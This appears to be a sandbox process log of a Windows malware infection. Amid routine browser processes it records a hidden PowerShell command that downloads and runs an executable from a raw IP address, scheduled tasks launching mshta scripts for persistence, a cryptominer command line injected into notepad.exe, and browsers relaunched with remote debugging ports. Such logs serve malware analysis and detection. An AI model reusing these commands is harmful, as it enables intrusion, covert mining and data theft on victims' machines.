"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe7bd8cc40,0x7ffe7bd8cc4c,0x7ffe7bd8cc58

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2072,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2068 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1828,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2124 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2288,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2492 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3196,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3204 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3224,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3248 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4520,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4572 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4700,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4744 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3860,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4788 /prefetch:8

C:\Windows\System32\notepad.exe

--donate-level 2 -o pool.hashvault.pro:443 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=40

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4844,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4872 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4908,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4716 /prefetch:8

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4900,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4868 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4888,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4876 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4824,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4968 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe

"C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4980,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5184 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5304,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4832 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe788a46f8,0x7ffe788a4708,0x7ffe788a4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2084 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe

"C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c schtasks /create /tn slleYmaixXQ /tr "mshta C:\Users\Admin\AppData\Local\Temp\9vYqQKnqx.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta C:\Users\Admin\AppData\Local\Temp\9vYqQKnqx.hta

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn slleYmaixXQ /tr "mshta C:\Users\Admin\AppData\Local\Temp\9vYqQKnqx.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4812 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe7b1dcc40,0x7ffe7b1dcc4c,0x7ffe7b1dcc58

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 5268"

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10110400121\am_no.cmd" "

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2296,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2288 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1804,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2564 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1912,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2664 /prefetch:8

C:\Windows\SysWOW64\timeout.exe

timeout /t 2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3204,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3224 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3232,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3364 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4500,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4488 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4712,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4728 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4716,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4824 /prefetch:8

C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE

"C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7bd946f8,0x7ffe7bd94708,0x7ffe7bd94718

C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe

"C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe7b1dcc40,0x7ffe7b1dcc4c,0x7ffe7b1dcc58

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2132 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4984 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5056 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe

"C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=5052 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe

"C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe"

C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe

"C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5620 -ip 5620

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 820

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2552 /prefetch:2

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn "cw1FWma1Vmk" /tr "mshta \"C:\Temp\hcx8DCaKO.hta\"" /sc minute /mo 25 /ru "Admin" /f

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

